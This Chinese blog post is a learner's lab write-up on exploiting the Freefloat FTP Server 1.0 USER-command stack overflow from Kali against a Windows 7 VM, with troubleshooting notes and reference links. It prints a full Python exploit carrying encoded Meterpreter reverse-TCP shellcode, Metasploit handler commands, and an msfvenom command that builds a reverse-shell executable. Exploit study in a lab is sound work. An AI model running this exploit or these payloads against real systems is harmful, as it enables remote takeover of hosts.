将生成的buf替换掉之前的shellcode,存为 ftptestmuma.py,然后重启靶机,并在kali虚拟机执行ftptestmuma.py文件。

#存为 ftptestmuma.py
import socket
buff = b"\x41"*230+b"\x28\x6C\xCD\x76"+b"\x90"*20
buf =  b""
buf += b"\xb8\xa5\x99\x4d\xbb\xda\xc4\xd9\x74\x24\xf4\x5e\x31"
buf += b"\xc9\xb1\x59\x31\x46\x14\x83\xee\xfc\x03\x46\x10\x47"
buf += b"\x6c\xb1\x53\x08\x8f\x4a\xa4\x76\x19\xaf\x95\xa4\x7d"
buf += b"\xbb\x84\x78\xf5\xe9\x24\xf3\x5b\x1a\x3a\xb4\x16\x04"
buf += b"\xcf\xc8\x8e\x79\x30\x1d\x0f\xd5\xf2\x3c\xf3\x24\x27"
buf += b"\x9e\xca\xe6\x3a\xdf\x0b\xb1\x31\x30\xc1\xc9\xe8\xde"
buf += b"\xb1\x46\x4e\xe2\x3c\x89\xc4\x5a\x47\xac\x1b\x2e\xfb"
buf += b"\xaf\x4b\x45\x4b\xa8\x3b\xd2\x14\xe8\xba\x37\x21\x21"
buf += b"\xc8\x8b\x63\x83\xce\x78\x47\x68\x31\xa8\x99\xae\xf3"
buf += b"\x9b\xd7\x82\xf5\xe4\xd0\x3a\x80\x1e\x23\xc6\x93\xe5"
buf += b"\x59\x1c\x11\xf9\xfa\xd7\x81\xdd\xfb\x34\x57\x96\xf0"
buf += b"\xf1\x13\xf0\x14\x07\xf7\x8b\x21\x8c\xf6\x5b\xa0\xd6"
buf += b"\xdc\x7f\xe8\x8d\x7d\x26\x54\x63\x81\x38\x30\xdc\x27"
buf += b"\x33\xd3\x0b\x57\xbc\x2b\x34\x05\x2a\xe7\xf9\xb6\xaa"
buf += b"\x6f\x89\xc5\x98\x30\x21\x42\x90\xb9\xef\x95\xa1\xae"
buf += b"\x0f\x49\x09\xbe\xf1\x6a\x69\x96\x35\x3e\x39\x80\x9c"
buf += b"\x3f\xd2\x50\x20\xea\x4e\x5b\xb6\xd5\x26\x03\xc7\xbe"
buf += b"\x34\xb4\xd4\xb6\xb1\x52\x8a\x96\x91\xca\x6b\x47\x51"
buf += b"\xbb\x03\x8d\x5e\xe4\x34\xae\xb5\x8d\xdf\x41\x63\xe5"
buf += b"\x77\xfb\x2e\x7d\xe9\x04\xe5\xfb\x29\x8e\x0f\xfb\xe4"
buf += b"\x67\x7a\xef\x11\x10\x84\xef\xe1\xb5\x84\x85\xe5\x1f"
buf += b"\xd3\x31\xe4\x46\x13\x9e\x17\xad\x20\xd9\xe8\x30\x10"
buf += b"\x91\xdf\xa6\x1c\xcd\x1f\x27\x9c\x0d\x76\x2d\x9c\x65"
buf += b"\x2e\x15\xcf\x90\x31\x80\x7c\x09\xa4\x2b\xd4\xfd\x6f"
buf += b"\x44\xda\xd8\x58\xcb\x25\x0f\xdb\x0c\xd9\xcd\xf4\xb4"
buf += b"\xb1\x2d\x45\x45\x41\x44\x45\x15\x29\x93\x6a\x9a\x99"
buf += b"\x5c\xa1\xf3\xb1\xd7\x24\xb1\x20\xe7\x6c\x17\xfc\xe8"
buf += b"\x83\x8c\x0f\x92\xec\x33\xf0\x63\xe5\x57\xf1\x63\x09"
buf += b"\x66\xce\xb5\x30\x1c\x11\x06\x07\x2f\x24\x2b\x2e\xba"
buf += b"\x46\x7f\x30\xef"
buff+=buf
target = "192.168.88.131"
s=socket.socket()
s.connect((target,21))
data = b"USER "+buff+b"\r\n"
s.send(data)
s.close()

同时,在kali虚拟机启动metasploit,这是因为需要一个主控端。

┌──(kaligan㉿studygan)-[~/Desktop]
└─$ msfconsole
#中间删掉了一些命令执行的提示内容,反正出现下面这个msf命令输入行就行啦~
msf6 >
#启动metasploit之后开启监听,等待被控端触发被植入远控代码的软件或者不经意间直接运行远程控制软件(payload) 
msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.88.129
lhost => 192.168.88.129
msf6 exploit(multi/handler) > set lport 5001
lport => 5001
#启动监听,等鱼上钩
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.88.129:5001 

启动监听之后,在kali端继续运行渗透脚本。但我没成功~书上说要出现这个的:
在这里插入图片描述
但我操作的结果是,脚本顺利执行,win7虚拟机这边FTPServer崩溃,但是,没有成功控制靶机
在这里插入图片描述

意外的收获----小白的快乐
按照书上的流程呢,我没成功,但是,我发现,这样是可以的
先在kali目录下打开终端,输入命令生成payload

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.88.129 lport=5001 -f exe -o payload.exe

1)远控主机:在主机上运行payload
在这里插入图片描述
2)远控win7
在win7虚拟机运行payload.exe也可以成功,但是用书上那个脚本那种形式就不行,我也不知道为什么
在这里插入图片描述

问题锦集

1、kali连不上靶机的FTP

第一个悲伤的故事~
win7是可以连接的
在这里插入图片描述
可是,kali这边连不上~
在这里插入图片描述
然后,大佬帮我解决了问题~大佬说。两个主机都不在同一网段,ping都ping不了,咋连?
在这里插入图片描述
然后大佬帮忙把win7的模式也改成了net模式,然后把ftp那个重启一下,ip就变了~
在这里插入图片描述
学习一个好习惯:然后大佬先在win7这边试了一下命令看能否通,再去kali用ftp连接,然后连通了。
在这里插入图片描述
在这里插入图片描述

2、无法查看软件运行终止的地址

(1)跟着书上尝试,发现win7这边FreeFloat FTP Server崩溃了。

┌──(kaligan㉿studygan)-[~/Desktop]
└─$ python3    
Python 3.10.4 (main, Mar 24 2022, 13:07:27) [GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> s=socket.socket()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: name 'socket' is not defined
>>> import socket
>>> s=socket.socket()
>>> connect = s.connect(('192.168.88.131',21))
>>> shellcode=b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
>>> data = b"USER "+shellcode+b"\r\n"
>>> s.connect(('192.168.88.131',21))
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
OSError: [Errno 106] Transport endpoint is already connected
>>> s.send(data)
320
>>> shellcode=b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
>>> data = b"USER "+shellcode+b"\r\n"
>>> s.send(data)
358

在这里插入图片描述
(2)因为不知道它啥时候崩溃的,所以我重新搞了一次。
发现通过下面这段python代码才让win7上的软件崩溃。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
问题来了,虽然它崩溃了,但是没有问题报错,书上出现的报错是“Don‘t konw how to continue because memory at address 41414141 is not readable.Try to change EIP or pass exception to program.”
害,我就当做是win7上没有这个报错能力吧。后来我才知道,需要用Immunity Debugger才能看,所以我安装了一下,重新弄~

3、win7下寻找不到jmp esp的地址

啊!!!不得不吐槽这个问题太致命了!一整天都卡在这个点了。
然后找了很久,网上说,自己推测有可能是windows把jmp esp这条指令在几个重要的dll中隐藏起来了。可以去别的不知名dll中寻找。
在这里插入图片描述

4、未能成功利用漏洞,没有成功通过FTP Server控制靶机

这个问题我暂时还不会~问题编号【202206121319】
20220613自我回答:但是作者在第七章引言就提到了简单利用JMP ESP指令执行数据区域代码的方法已经很难实现了,引入了新途径——Windows下的结构化异常处理SEH。所以我猜测可能就是因为我靶机是win7的所以用渗透脚本控制靶机的方式在某一步没能执行成功。
启动监听之后,在kali端继续运行渗透脚本。但我没成功~书上说要出现这个的:
在这里插入图片描述
但我操作的结果是,脚本顺利执行,win7虚拟机这边FTPServer崩溃,但是,没有成功控制靶机
在这里插入图片描述

python环境变量配置
win7中python环境变量配置具体方法如下:
1、打开计算机属性,点击高级系统设置;
2、点击环境变量,点击新建,变量名输入大写“PYTHONHOME”,变量值输入你的python的安装路径;
3、找到Path,点击编辑,在变量值的最后边添加“;%PYTHONHOME%;%PYTHONHOME%\Scripts”注意:不要把原来的数据删掉,只加我们的python;
4、在cmd下输入python,成功!

参考博客:

漏洞详情及操作介绍——[原创 Freefloat FTP Server1.0栈溢出漏洞分析漏洞分析](https://bbs.pediy.com/thread-266641.htm)
下载Freefloat FTP Server 1.0——[Freefloat FTP Server 1.0漏洞分析](https://www.cnblogs.com/vincebye/p/12820754.html),非常感谢这个大佬,下载Freefloat FTP Server 1.0的步骤都一并打包了,哈哈哈,小白的快乐就是这么简单~
immunity debugger 下载——[immunity debugger 下载](https://www.softpedia.com/get/Programming/Debuggers-Decompilers-Dissasemblers/Immunity-Debugger.shtml)【进入网站后,点击 Download Now–>Softpedia Secure Download(US)->等一会儿它就在下载列表中了~】
mona.py下载——[资源链接](https://github.com/corelan/mona)

更新:我把我学习安全用到的一些软件放到GitHub上啦~
可以去GitHub下载相关的软件哦~
https://github.com/plaint/securityLearning

猜你喜欢

转载自blog.csdn.net/weixin_49422491/article/details/125133525